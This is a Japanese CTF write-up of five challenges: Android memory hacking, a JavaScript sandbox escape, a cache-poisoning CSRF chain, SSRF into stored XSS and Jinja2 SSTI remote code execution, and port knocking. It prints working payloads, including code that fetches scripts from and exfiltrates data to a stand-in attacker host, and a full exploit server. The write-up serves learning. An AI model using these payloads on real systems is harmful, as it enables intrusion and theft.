9/12 - 14という日程で開催された。BunkyoWesternsで参加して1位🥇 11月にルーマニアはブカレストで決勝大会が開催されるが、予選の上位10チームがこれに招待されるということでBunkyoWesternsは参加権をゲットした。去年参加して楽しかったのでぜひ今年も行きたかったのだけれども、残念ながら私はスケジュールの都合でダメだった。また行きたいけれども。
問題はesoteric-urgeが特に面白かった。最速で全完ということで優勝は盤石…のように思われるけれども、実際のところはそこから追い抜かれる余地があった。ひとつ coordinated-resp-disclosure という不思議な問題があり、いわく "This is a task only for participants who report important vulnerabilities in the infrastructure and/or platform during the competition. Do not try to solve it!" ということで、通常の問題を全完の上でインフラやスコアボードの脆弱性を報告されると負ける。解けないだろと思ったけれども、インフラの脆弱性を見つけてポイントをもらっているチームがいた。すごい。
- [Mobile 270] tinygame (46 solves)
- [Web 235] in-the-shadows (53 solves)
- [Web 345] esoteric-urge (31 solves)
- [Web 310] rocket (38 solves)
- [Network 380] hidden-cipher (24 solves)
[Mobile 270] tinygame (46 solves)
Our tiny Android game looks simple on the surface, but the developers hid something much more interesting inside.
The full flag is buried within the APK. Can you reverse, instrument, and uncover it?
添付ファイル: app-release.apk
Androidアプリのリバースエンジニアリング問。Kotlinで書かれている上に難読化されているし、しかも重要な処理はネイティブコードらしい。私が問題を確認した時点で、すでにptr-yudaiさんによってある程度問題が解かれており、2つフラグのパーツがあるうちの後半部分が得られていた。ということで、前半部分を探しに行く。
まずこれはどういうアプリか。インストールして立ち上げると、次のような画面が表示される。スワイプすると大きめの赤い円を左右に動かせて、上から降ってくる黄色い円に当たると20点増える、というゲームらしい。
メモリハックを試したい。root化した環境にGameGuardianをインストールして、スコアの変化を追う。なぜか整数型ではなくdoubleで見つかったけれども、とりあえず大きな値にしてみる。"Not so easy, this should have been the flag" というテキストで煽られた。
メモリハックが検知されたものと思い、ではその検知ロジックの回避をしなければならないのだろうかと考える。詳しく調べる前に、どれぐらいの点数でメッセージが表示されるのだろうと思った。手作業で二分探索し、累積で20万～25万点あたりでメッセージが表示されるとわかった。
1000点を使ってMagnetを購入すると降ってくる黄色い点が勝手に集まってくるようになる。わざわざ頑張ってチートの検知ロジックの有無を確認したり、もし存在した場合にそのロジックを考察・解析せずとも、Magnetの購入までは手作業でやり、以降はせいぜい1, 2時間待てばメッセージが表示される点数に到達できるのではないか。そういうわけで放置してみたけれども、やはり煽られる。
root化検知やGameGuardian等のアプリの検知がされているのか…? と一瞬考えたが、実は特定の点数に到達した段階でフラグはすでになんらかの形で生成されており、メモリ上に存在はしているけど表示されていないだけなのではないかと考えた。GameGuardianで試しに flag というテキストを検索してみると、見つかった。これは次のようなテキストだった。フラグの前半部分だ!
flag: dctf{60087b379564677d411af3b7bb7ef0d0...}
ptr-yudaiさんが静的解析によって見つけていた後半部分とくっつけるとフラグが得られた。
dctf{60087b379564677d411af3b7bb7ef0d0b179c5cafbe258a8a93e136f506f248f}
[Web 235] in-the-shadows (53 solves)
Sometimes the most dangerous vulnerabilities lurk in the shadows, waiting to be discovered.
添付ファイル: in-the-shadows.zip
次のようなアプリが題材になっている。クエリパラメータや textarea から指定されたJavaScriptコードを実行して、Canvasを操作できるようになっている。ただし、JSコードはサンドボックスの中で実行されるので好き放題はできない。そこで好き放題するのがこの問題なのだろう。
このアプリの実装を見ていく。フロントエンドから見ていこう。HTMLは次の通り。コードの実行等の処理は app.js でやっているようだけれども、こちらはこちらで別のコードがある。shadow-host というIDの div にテキストが含まれており、Shadow DOMを使って外の世界からは簡単にアクセスできないようにしている。
<div id="shadow-host"> <div class="shadow-container"> <div class="marquee" id="marquee-text">{{ note_text }}</div> </div> <script> (function () { const shadowHost = document.getElementById('shadow-host'); const shadowRoot = shadowHost.attachShadow({ mode: 'closed' }); const note_text = shadowHost.querySelector('#marquee-text').textContent; shadowHost.querySelector('.shadow-container').remove(); shadowRoot.innerHTML = ` <style> ... </style> <div class="shadow-container"> <div class="marquee" id="marquee-text"> </div> `; // ... })(); </script> </div> <div class="sandbox-container"> <h2>Code Playground</h2> <p>Enter your JavaScript code below:</p> <textarea id="code-input">{{ code }}</textarea> <div class="controls"> <button onclick="runCode()">Run Code</button> <button onclick="shareCode()">Share Code</button> <button onclick="clearCode()">Clear</button> </div> <canvas id="fractal-canvas" width="600" height="400"></canvas> </div> ... <script src="{{ url_for('static', filename='js/app.js') }}"></script>
app.js は次の通り。ここでサンドボックスが実装されている。Function を使って eval 相当のことをするにはするのだけれども、window, document, globalThis といった便利なものを大体つぶして、canvas ぐらいしか参照できないようにしている。
あれ? this は? と思ってしまうが、sandboxFunction.call(null, canvas) のように Function.prototype.call の第一引数として null を与えることでつぶせてい…ない。strictモードではないので、this はグローバルオブジェクトになってしまう。これが使えないかなとまず思った。
// Run code function runCode() { const code = document.getElementById('code-input').value; const canvas = document.getElementById('fractal-canvas'); if (!code.trim()) { alert('Please enter some code to run!'); return; } try { const sandboxFunction = new Function('canvas', ` const window = undefined; const document = undefined; const alert = undefined; const console = undefined; const eval = undefined; const Function = undefined; const setTimeout = undefined; const setInterval = undefined; const fetch = undefined; const XMLHttpRequest = undefined; const WebSocket = undefined; const localStorage = undefined; const sessionStorage = undefined; const location = undefined; const history = undefined; const navigator = undefined; const parent = undefined; const top = undefined; const self = undefined; const globalThis = undefined; canvas.constructor = null; canvas.__proto__.constructor = null; canvas.__proto__.__proto__.constructor = null; canvas.__proto__.__proto__.__proto__.constructor = null; canvas.__proto__.__proto__.__proto__.__proto__.constructor = null; canvas.__proto__.__proto__.__proto__.__proto__.__proto__.constructor = null; canvas.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__.constructor = null; ${code} `); sandboxFunction.call(null, canvas); } catch (error) { alert('Error: ' + error.message); } } function shareCode() { const code = document.getElementById('code-input').value; if (!code.trim()) { alert('Please enter some code to share!'); return; } fetch('/admin', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ code: code }) }) .then(response => response.json()) .then(data => { if (data.error) { alert('Error: ' + data.error); } else { alert(data.message); } }) .catch(error => { alert('Failed to share code: ' + error.message); }); } function clearCode() { document.getElementById('code-input').value = ''; } document.addEventListener('DOMContentLoaded', function () { const codeInput = document.getElementById('code-input'); if (codeInput.value.trim()) { runCode(); } });
バックエンドの方も見ていこう。案の定Webブラウザを操作するbotがおり、これは次のようなSeleniumを使ったコードになっている。flag というCookieを httpOnly で設定した後に、ユーザが共有したコードを先ほどのフロントで実行している。
def set_flag_cookie(self, flag): try: self.driver.get("about:blank") self.driver.execute_cdp_cmd( "Network.setCookie", { "name": "flag", "value": flag, "domain": "localhost", "path": "/", "httpOnly": True, "secure": False, "sameSite": "Lax", }, ) return True except Exception as e: return False def visit_code_url(self, code): try: code_url = f"{self.base_url}/?code={urllib.parse.quote(code)}" self.driver.get(code_url) WebDriverWait(self.driver, 5).until( EC.presence_of_element_located((By.TAG_NAME, "body")) ) time.sleep(5) try: alert = self.driver.switch_to.alert alert.accept() except: pass return True except Exception as e: return False
サーバのコードのうち、重要な箇所は次の通り。botがフラグを保存するCookieが httpOnly でどうしようか、document.cookie でアクセスできないのではないかと思ったけれども、これはフロント側でShadow DOM中に表示されるらしい。なるほど、サンドボックスから脱出して任意のコードを実行できるようになった後で、Shadow DOMを破壊してその中身を読まねばならないらしい。
それはよくて、バックエンド側でもコードに制約があることがわかった。1024文字を超えてはならないし、よろしくないトークンを含んではならない。「よろしくないトークン」というのは、識別子*1のうち Math や PI といった安全なもの以外を指す。Function や constructor といった識別子を入れると弾かれてしまう。
一瞬JSF**kですぐに解けるのではないかと考えたが、容易に1024文字を超えてしまうのでダメだ。
# Token whitelist based on fractal animation code ALLOWED_TOKENS = { "Math", "PI", "angle", "animate", "atan", "brightness", "canvas", "clearRect", "const", "ctx", "d", "distance", "dx", "dy", "fillRect", "fillStyle", "for", "function", "getContext", "height", "hsl", "hue", "let", "requestAnimationFrame", "sin", "sqrt", "time", "width", "x", "y", } def validate_code_tokens(code): """Validate that code only contains whitelisted tokens""" # Extract all tokens matching [a-zA-Z]+ tokens = set(re.findall(r"[a-zA-Z]+", code)) # Check if any token is not in the whitelist forbidden_tokens = tokens - ALLOWED_TOKENS if forbidden_tokens: return False return True @app.route("/") def index(): code = request.args.get("code", "") secret = request.args.get("secret", "") if not code or not validate_code_tokens(code) or len(code) > 1024: code = """...""" existing_note = request.cookies.get("flag") if secret: note_text = secret elif existing_note: note_text = existing_note else: note_text = "Set your secret using the ?secret parameter" response = make_response( render_template("index.html", code=code, note_text=note_text) ) if existing_note: response.set_cookie( "flag", "redacted", httponly=True, secure=False, samesite="Lax" ) return response
任意の文字列の作成が難しそうだなあと思ったところで、サンドボックス環境がstrictモードでないことを思い出した。8進エスケープシーケンスを使えばよいのではないか。たとえば、'\156\145\153\157' のようにすると 'neko' という文字列が作れる。
ここまで来たら任意のコードの実行に持ち込むのは簡単だ。'\143\157\156\163\164\162\165\143\164\157\162' で 'constructor' が作れるので、""[d='\143\157\156\163\164\162\165\143\164\157\162'][d] で Function が取り出せる。これに8進エスケープシーケンスでエンコードした文字列を与えると、eval 相当のことができる。
いちいち手作業でエンコードしてペイロードを作るのが面倒なので、次のようなコードでstager的なペイロードを作る。こうすると、検証時に入力したり、botに提出したりするペイロードは同じままで、poyo.php が返す内容を変えるだけで、別のスクリプトを実行させることができるようになる。
const toOctal = s => '"' + '\\' + s.split('').map(x => x.charCodeAt().toString(8).padStart(3, '0')).join('\\') + '"'; const konstructor = toOctal('constructor'); const script = toOctal('fetch("//attacker.example.com/poyo.php").then(r=>r.text()).then(r=>"".constructor.constructor(r)())'); let payload = ''; payload += `""[d=${konstructor}][d](${script})()`; console.log(`length: ${payload.length}`); console.log(payload);
さて、ではどうやってShadow DOMを破壊しようか。Masato Kinugawaさんのスライドを読む。そういえばJavaScriptコードからShadow DOM内の要素を参照している処理を探していなかった。
次の updateDisplay は定期的に実行されており、これでShadow DOM内のテキストを marquee 的にスクロールさせている。ここで element はShadow DOM内の要素で、text はフラグである文字列だ。element.innerText = text をフックできないか。
function updateDisplay() { const { element, text, speed, resetAt, hideAt } = displayConfig; if (frameCount % 3 === 0) { element.innerText = text; } // Apply flame intensity effects const intensity = calculateFlameIntensity(frameCount); element.style.filter = `brightness(${intensity}) saturate(1.2)`; element.style.left = position + '%'; position -= speed; if (position < hideAt) { position = resetAt; } frameCount++; requestAnimationFrame(updateDisplay); } updateDisplay();
poyo.php を次のような内容にする。
<?php header('Access-Control-Allow-Origin: *'); header('Content-Type: application/javascript'); ?> Object.defineProperty(HTMLElement.prototype, 'innerText', { configurable: true, enumerable: true, set(x) { navigator.sendBeacon('//attacker.example.com/log.php?x=' + x); } });
先ほど生成したペイロードをbotに共有すると、フラグが得られた。
DCTF{4175b4c606d534885b6499bd9447c748b7a5726a1b81258941b6cbecfde6e032}
[Web 345] esoteric-urge (31 solves)
I heard you like challanges with bots. I surely do, because I feel some kind of an urge to make them.
添付ファイル: esoteric-urge.zip
添付ファイルが10MB近くある。大体は public/ 下にある画像だったので、それらに適当な内容を書き込んで小さくしたうえで docker compose up する。次のような画面が表示された。
適当なユーザ名を入力するとユーザ登録でき、サーバによってパスワードが生成され表示される。それらの認証情報を使ってログインすると、次のようにURLを入力するフォームが表示された。
わけがわからないのでコードを読んでいく。まずフラグがどこにあるか。flag で検索すると nirvana.txt というファイルが見つかり、さらにその参照箇所を探すと、次の DELETE /reach_nirvana というルートが見つかった。requireEsotericKnowledge というミドルウェアを通過した上で、こいつを呼ばなければならないらしい。
app.delete('/reach_nirvana', middleware.requireEsotericKnowledge, async (req, res) => { res.status(200).sendFile(path.join(__dirname, 'nirvana.txt')); await utils.sleep(3); process.exit(); });
requireEsotericKnowledge の実装は次の通り。ユーザの role が guide であれば叩けるらしい。
export function requireEsotericKnowledge(req, res, next) { const user = req.session.user; if (user && user.role === 'guide') { return next(); } res.status(403).send('You are not yet prepared'); }
では、role を変更できるようなAPIがあったり、すでに role が guide であるユーザがいたりしないか。いずれもイエスで、まずユーザ登録が可能なAPIである POST /awaken で role を任意のものに設定できる。ただし、guide であるユーザでログイン済みでなければならない。
app.post('/awaken', middleware.csrfProtect, async (req, res) => { try { const username = req.body.username; const found = await User.findOne({ username }); if (found) { res.status(200).render("message", { text: `The UNiverse is waiting for you, ${username}` }); return; } const user = req.session.user; const password = crypto.randomBytes(20).toString('hex').slice(0, 20); let role = null; if (user && user.role === 'guide') { role = req.body.role; } await User.create({ username, password: utils.hash(password), role: role || 'adept' }); res.render("awaken", { username, password }); } catch { res.status(500).send('It\'s only a bad dream'); } });
すでに role が guide であるユーザはひとりだけいて、metatron というユーザ名で登録されている。
export async function beginProjection() { const metatron = await User.findOne({ username: 'metatron' }); if (metatron) { await User.deleteOne({ username: 'metatron' }); } await User.create({ username: 'metatron', password: hash(process.env.ADMIN_PASSWD || "lordshiva42"), role: 'guide' }); }
さて、例のURLが入力できるフォームを送信すると、次の関数が呼び出される。PlaywrightでChromiumを操作している。role が guide である metatron としてログインし、そのあとでユーザが指定したURLにアクセスするらしい。なるほど、CSRFで POST /awaken を叩いて role が guide であるユーザを作ったり、XSSに巻き込んだりできないか。
import { chromium } from 'playwright'; async function astralTravel(url) { try { const browser = await chromium.launch(); const page = await browser.newPage(); await page.goto('http://127.0.0.1:3000/login'); await page.getByRole('textbox', { name: 'Username' }).fill('metatron'); await page.getByRole('textbox', { name: 'Password' }).fill(process.env.ADMIN_PASSWD || 'lordshiva42'); await page.getByRole('button', { name: 'Log In' }).click(); await page.goto(url); await page.getByRole('button', { name: 'Submit' }).click(); const title = await page.title(); await browser.close(); return title; } catch (error) { console.log(error); return null; } } export { astralTravel };
まず、XSSは見つからなかった。テンプレートエンジンとしてPugが使われている🐶けれども、ユーザ入力はいずれも適切に展開されている。フロントエンド側でJavaScriptによって innerHTML を使ってユーザ入力を出力しているような箇所はない。
ではCSRFはどうか。自前の実装なのがやや気になりはするけれども、CSRF対策がなされている(なんならCSRFトークンの予測が難しく適切に思われる)し、そもそもユーザ登録からログインまでが「ユーザがユーザ名を入力」→「サーバはパスワードを生成し返す」→「ユーザは自分自身が入力したユーザ名と、サーバが生成したパスワードを使ってログイン」という流れだ。対策をバイパスしてbotにCSRFを踏ませ、好きなユーザ名で guide なユーザを作成できたとて、生成されたパスワードがわからなければ意味がない。
Access-Control-Allow-Origin や Access-Control-Allow-Credentials といったCORS関連のヘッダがあればワンチャン🐶あったけれども、残念ながら今回はなかった。
export function generateCsrfToken(userId) { const nonce = crypto.randomBytes(16).toString('hex'); const ts = Math.floor(Date.now() / 1000); const data = `${userId}:${nonce}:${ts}`; const sig = crypto.createHmac('sha256', CSRF_SECRET) .update(data) .digest('hex'); return `${nonce}.${ts}.${sig}`; } export function verifyCsrfToken(userId, token) { if (!token) return false; const parts = token.split('.'); if (parts.length !== 3) return false; const [nonce, tsStr, sig] = parts; const ts = parseInt(tsStr, 10); const now = Math.floor(Date.now() / 1000); if (now - ts > 120) { return false; } const data = `${userId}:${nonce}:${ts}`; const expectedSig = crypto.createHmac('sha256', CSRF_SECRET) .update(data) .digest('hex'); return crypto.timingSafeEqual( Buffer.from(sig), Buffer.from(expectedSig) ); } export function csrfPrepare(req, res, next){ const token = generateCsrfToken(req.session.user ? req.session.user.id : 'guest') res.locals._csrf = token next() } export function csrfProtect(req, res, next) { const token = req.body._csrf if(!token){ return res.status(403).send('No CSRF token submited.') } if(!verifyCsrfToken(req.session.user ? req.session.user.id : 'guest', token)){ return res.status(403).send('Wrong or expired CSRF token.') } next() }
こまった! と思ったところで、不思議な処理に気付いた。デカい画像があるので /public 下でキャッシュするようにするのはわかるけれども、それ以降にある req.path の正規化がよくわからない。
Node.js + Expressの組み合わせだと、普通は /hoge%2f..%2fawaken というようなパスにアクセスすると Cannot GET /hoge%2f..%2fawaken のようなメッセージが返ってきて /awaken のハンドラは実行されない。しかし今回は decodeURIComponent でパーセントエンコーディングを解除した上で正規化しているので、/awaken にアクセスした場合と同じような結果になる。怪しいねえ。
import NodeCache from 'node-cache'; // … const cache = new NodeCache({ stdTTL: 60 }); // Help for large files app.use('/public', middleware.cacheFiles(cache), express.static('public')); // Basic functionalities app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use((req, res, next) => { req.url = path.normalize(decodeURIComponent(req.path)); next(); });
/public 下でミドルウェアとして登録されていた cacheFiles の実装は次の通り。本来は /public 下しかキャッシュされないから問題ないのだろうけれども、今回は /public%2f..%2fawaken のようなパスにアクセスすることで、/awaken の処理をさせつつもキャッシュさせるということができてしまう。何が問題か。/awaken のようなパスでもキャッシュさせることができるので、CSRFトークンやユーザ登録後のパスワードを含むレスポンス等もキャッシュできてしまう。
export function cacheFiles(cache) { return function (req, res, next) { const key = req.originalUrl const cached = cache.get(key); if (cached) { res.set('X-Cache-Status', 'HIT'); return res.send(cached); } const originalSend = res.send.bind(res) res.send = (body) => { cache.set(key, body) res.set('X-Cache-Status', 'MISS') return originalSend(body) } next(); } }
そういうわけで、次のような攻撃の手順を思いついた。手順3でいきなりbotに DELETE /reach_nirvana させればよいのでは? と一瞬思ったが、fetch やXHRでは前述のようにSOPの制約で、フォーム送信では DELETE が使えないのでダメ*2だ。
- botに
/public%2f(ランダムな文字列A)%2f..%2f..%2fawakenへアクセスさせ、CSRFトークン含めキャッシュさせる - 攻撃者が
/public%2f(ランダムな文字列A)%2f..%2f..%2fawakenにアクセスし、botに紐づいたCSRFトークンを奪い取る - 攻撃者が、パラメータとして
username=(好きなユーザ名),role=guide,_csrf=(奪ったCSRFトークン)が、送信先として/public%2f(ランダムな文字列B)%2f..%2f..%2fawakenが設定されたフォームのHTMLを生成する - botに手順3で生成したフォームを送信させる。ここで、生成されたパスワードを含むレスポンスがキャッシュされる
- 攻撃者が
/public%2f(ランダムな文字列B)%2f..%2f..%2fawakenにアクセスし、生成されたパスワードを奪い取る - 攻撃者は、手に入れた認証情報を使って
roleがguideであるユーザとしてログインする - 攻撃者は、
DELETE /reach_nirvanaにアクセスしてフラグを得る
この攻撃手順をまとめたコードは次の通り。
const express = require('express'); const app = express(); const TARGET = 'http://victim.example.com'; let csrf_token = ''; let path; app.get('/step1', (req, res) => { console.log('step1'); path = `/public/${crypto.randomUUID()}/..%2f..%2fawaken`; res.send(` <script> const w = window.open('http://127.0.0.1:3000${path}'); setTimeout(() => { w.close(); console.log(123); (new Image).src = '/step2'; }, 500); setTimeout(() => { window.open('/step3'); }, 1500); </script> `.trim()); }); app.get('/step2', async (req, res) => { console.log('step2'); const r = await (await fetch(`${TARGET}${path}`)).text(); csrf_token = r.match(/_csrf" value="([^"]+)/)[1]; console.log(`csrf_token: ${csrf_token}`); res.send('ok'); }); app.get('/step3', (req, res) => { console.log('step3'); path = `/public/${crypto.randomUUID()}/..%2f..%2fawaken`; setTimeout(() => { fetch(`${TARGET}${path}`).then(r => r.text()).then(r => { const password = r.match(/[0-9a-f]{20}/)[0]; console.log(`log in as nekotarooooo with password ${password}!`); }); }, 1000); return res.send(` <form method="POST" action="http://127.0.0.1:3000${path}" id="form"> <input type="text" name="_csrf" value="${csrf_token}"> <input type="text" name="role" value="guide"> <input type="text" name="username" value="nekotarooooo"> <input type="submit"> </form> <script> document.getElementById('form').submit(); </script> `.trim()); }); app.listen(8000);
サーバを立ち上げて /step1 のURLを報告すると、role が guide であるユーザの認証情報を手に入れることができた。
$ node app.js step1 step2 csrf_token: d89fe3e1cdda0240faea9208cc6f4ebf.1757697839.b22b5fe1aa1036a37aa24fde8f3a518564e6c9df9873a9eb3d7ebe18b56aea00 step3 log in as nekotarooooo with password c1bb85aeea3b46deb2a9!
このユーザでログインし、DELETE /reach_nirvana するとフラグが得られた。
DCTF{h3r_es0ter1c_urg3_i5_f1nally_tam3d}
パズルとして面白い問題だった。
[Web 310] rocket (38 solves)
If you want to call yourself a hacker, you’ll need to screenshot this one all the way to the moon and back. The vulnerability is so blatant that missing it would take a willful act of blindness. Do you see it, or are you just pretending?
なんとブラックボックス問だった。とりあえずインスタンスを立てて*3、問題サーバにアクセスする。Rocket Imagerという謎のサービスが表示された。
https://example.com を入力すると次のようにスクリーンショットを返してきた。webhook.site で生成したURLを入力すると、ヘッドレスなChromeでアクセスしてきていることがわかる。
次のようにブログへのリンクも含まれており、これが外部からはアクセスできなそうなのでスクリーンショットを撮らせて内容を得たいのだけれども、http://blog:4000 は名前解決ができないというし、http://127.0.0.1:4000 は "internal address" だからダメだと言われる。はあ。
<!-- Blog Button --> <div class="pt-6"> <a href="http://blog:4000" class="bg-pink-600 hover:bg-pink-700 px-4 py-2 rounded-xl font-semibold text-white shadow inline-block"> 📝 Blog </a> <!-- we should fix the blog vulnerabilities before enabling this <a href="http://127.0.0.1:4000" class="bg-pink-600 hover:bg-pink-700 px-4 py-2 rounded-xl font-semibold text-white shadow inline-block"> 📝 Blog </a> --> </div>
では、適当なWebサーバを用意して Location: http://127.0.0.1:4000 のようなヘッダを返させてリダイレクトさせるとどうだろう。こちらはうまくいき、Rocket Blogという別のサービスを表示させることができた。
コメントの投稿フォームがある。どうせここにXSSやCSRFがあるのだろうと思う。まず <s>test</s> でHTML Injectionができるか試そう。次のようなフォームを含むHTMLにアクセスさせる。
<form action="http://127.0.0.1:4000/" method="POST" id="form"> <input type=text name=comment value="<s>test</s>"> <input type=submit> </form> <script> document.getElementById('form').submit(); </script>
すると、次のようなスクリーンショットが返ってきた。HTML Injection、あります。
このコメントはそのまま次のリクエストでも表示された。永続的に残るようだ。次はXSSを試そう。StoredなXSSということで、<script src='http://attacker.example.com/a.js'></script> のように外部からスクリプトを読み込んで実行させる形で script を仕込む。CSPがなければうまく動くはずだ。
a.js が navigator.sendBeacon('//attacker.example.com/log', document.body.innerHTML); を返すようにしたうえで、CSRFでペイロードを仕込む。無事に次のようなHTMLがPOSTされ、XSSできていることが確認できた。
<!-- Blog Header --> <header class="mb-10 text-center"> <h1 class="text-4xl font-extrabold text-indigo-400">🚀 Rocket Blog</h1> <p class="text-gray-400 mt-2">Where rockets and ideas take off</p> </header> <!-- Blog Post --> <article class="bg-gray-900 rounded-2xl shadow-xl p-8 w-full max-w-3xl mb-10"> <h2 class="text-2xl font-bold text-indigo-300 mb-4">First Launch</h2> <p class="text-gray-300 leading-relaxed"> Welcome to the Rocket Blog! 🚀 This is our very first post. We’ll share stories, updates, and thoughts from deep space. </p> </article> <!-- Comment Section --> <section class="bg-gray-900 rounded-2xl shadow-xl p-8 w-full max-w-3xl space-y-6"> <h3 class="text-xl font-semibold text-indigo-300">💬 Comments</h3> <form method="post" class="flex space-x-2"> <input type="text" name="comment" placeholder="Write a comment..." class="flex-1 px-3 py-2 rounded-xl text-gray-200 bg-gray-800 border border-gray-700 focus:outline-none focus:ring-2 focus:ring-indigo-500"> <button type="submit" class="bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-xl font-semibold text-white shadow"> Post </button> </form> <div class="space-y-3"> <div class="p-4 rounded-xl bg-gray-800 border border-gray-700"> <s>test</s> </div> <div class="p-4 rounded-xl bg-gray-800 border border-gray-700"> <script src="http://attacker.example.com/a.js"></script></div></div></section>
ここからどうやって展開しようか。次に攻撃する対象を探すために /robots.txt, /login, /admin, …といったよくあるパスを試してみたものの、どれも404だった。なんでもいいから情報がほしい。/ に fetch して、そのヘッダを確認する。Python製らしいことが確認できたのは収穫だったが、でっていう。metadata.google.internal 等はダメだった。
[ [ "access-control-allow-credentials", "true" ], [ "access-control-allow-headers", "Content-Type,Authorization" ], [ "access-control-allow-methods", "GET,POST,OPTIONS" ], [ "connection", "close" ], [ "content-length", "207" ], [ "content-type", "text/html; charset=utf-8" ], [ "date", "Fri, 12 Sep 2025 18:05:18 GMT" ], [ "server", "Werkzeug/3.1.3 Python/3.11.11" ] ]
う～んと悩んでいたところで、(かなり飛躍しているが)PythonということはSSTIではないかと考える。とりあえず {{7*7}} をCSRFでコメントさせる。49 と表示されているスクリーンショットが返ってきた。SSTIだ!!!!!!
次のようなペイロードでRCEに持ち込むことができた。/flag.txt が存在しているらしいが、権限が足らないのか読めない。
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('glob').glob('../*')}}{%endif%}{% endfor %}
呼び出す関数を subprocess.check_output に切り替えて、OSコマンドを実行するように変える。id で自身が blog という一般ユーザであること、ls -l / | base64 -w0 で以下のように /flag.txt は root しか読めないことがわかった。
-rw------- 1 root root 70 Aug 19 09:29 /flag.txt
root として実行できるような実行ファイルがないか。あれば /flag.txt が読めるのだけれども。find / -user root -perm -4000 2>&1 でスティッキービットが立っている実行ファイルがないか探す。/usr/sbin/exim4 がかなり怪しい。
/usr/bin/newgrp /usr/bin/passwd /usr/bin/umount /usr/bin/su /usr/bin/gpasswd /usr/bin/mount /usr/bin/chfn /usr/bin/chsh /usr/bin/sudo /usr/sbin/exim4
ただ、man を読んだりClaudeと相談したりして exim4 -be '${readfile{/flag.txt}}' でフラグが読めそうだということがわかったものの、残念ながら権限が落とされてそう。
Failed: failed to open /flag.txt: Permission denied (euid=1000 egid=1000)
ここで詰まる。Satokiさんと相談しながらガチャガチャやっていると、SatokiさんがlinPEASを実行し、その結果をChatGPTに投げて解いていた。
いわく、/usr/sbin/logrotate -f /etc/logrotate.d/app が10分ごとに実行されており、ここで postrotate /usr/local/bin/cleanup.sh が設定されている。この /usr/local/bin/cleanup.sh が blog でも書き換え可能ということだった。
ctf{100e4e338e99fbcc300a001d8eb22388015aef102bf56904e2ea84afdacb78b0}
ブラックボックスなのは嫌だなあとか、これはWebカテゴリなんだろうかとか思いながら解いていた。
[Network 380] hidden-cipher (24 solves)
How good is your understanding of networks? In this challenge, you’ll explore the basics of how computers talk to each other. Look at the traffic, identify what’s happening, and piece together the hidden information. Use the following: ssh root@target -p port 5d6287sgagGD18G7Ubhq2
ソースコード等は与えられていない。とりあえずインスタンスを立てて、SSHで root として問題サーバに接続する。カレントディレクトリには capture.pcap がある。ちなみに、このファイルは何度サーバを再起動しても内容は変わらなかった。
この capture.pcap をWiresharkで開いて、どんな通信がされているかを見る。大多数はSSHで、たまにDNSやHTTP、上には何も乗っかっていないTCPやUDPによる通信が交じっていた。
メモリの中に残っている情報をもとにSSHパケットの復号をするのではないか、と考えてしばらく調べたものの、さすがに想定難易度がEasyである問題でそんなことはしないだろうと我に返る。
もう一度pcapを見直してみると、172.18.0.3 の 4321/udp, 1234/tcp, …といったポートに不思議なパケットが送られている様子が気になった。ip.addr == 172.18.0.3 でフィルターしてみると、以下のような 172.18.0.2 による異様な通信が確認できた。
4321/udpにhiと送信1234/tcpに接続してすぐ切る5432/udpにhiと送信2345/tcpに接続してすぐ切る9999/tcpに接続してすぐ切る
SSHで接続した問題サーバから 172.18.0.3 に ping を送ってみたけれども、反応はない。単純にリプレイするだけでなにかできるわけではなさそう。とはいえ、わざわざSSHで問題サーバに接続できること、また作為を感じるポート番号にも意味があるのだろうなあと思う。
接続してすぐ切るという不可解な行動、意味のありそうなポート番号を順番に叩いていく…という要素から、突然ポートノッキングを思い出した。特定の順番で複数のポートにパケットを送ることで、普段は開いていないように見えるポートが利用できるようになるというものだ。この順番を再現すればよいのではないか。
でもどこに対してノックをすればよい? と思ったけれども、マシンについての調査の一環で netstat したときに以下のポートが開いていることを思い出した。なるほど、localhost だ!
# netstat -nao Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN off (0.00/0/0) ... tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0) udp 0 0 0.0.0.0:4321 0.0.0.0:* off (0.00/0/0) udp 0 0 0.0.0.0:5432 0.0.0.0:* off (0.00/0/0)
以下のようなコードで、capture.pcap の真似をしてポートノッキングをしてみる。
echo -en hi | nc -u localhost 4321 echo -en "" | nc localhost 1234 echo -en hi | nc -u localhost 5432 echo -en "" | nc localhost 2345 echo -en "" | nc localhost 9999
これで利用可能なポートに 4000/tcp が増えているのが確認できた。
# netstat -nao Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer ... tcp 0 0 0.0.0.0:4000 0.0.0.0:* LISTEN off (0.00/0/0) ...
これにHTTPで接続するとフラグが得られた。
# curl localhost:4000
ctf{3f476bbefba34d117a3f11275797d5249ae0cf9dfbd4b51047cc54423883e92e}
ctf{3f476bbefba34d117a3f11275797d5249ae0cf9dfbd4b51047cc54423883e92e}
ポートノッキングを久しぶりに見た。KOSENセキュリティ・コンテスト2017やSECCON CTF 2019の国内決勝で出題されていたのは知っていたけれども、自分でやったのは初めてかもしれない。それ以前にも国内のCTFで出ていたというwriteupを大昔に読んだ記憶があるけれども、忘れた。あるいは記憶違いかも。
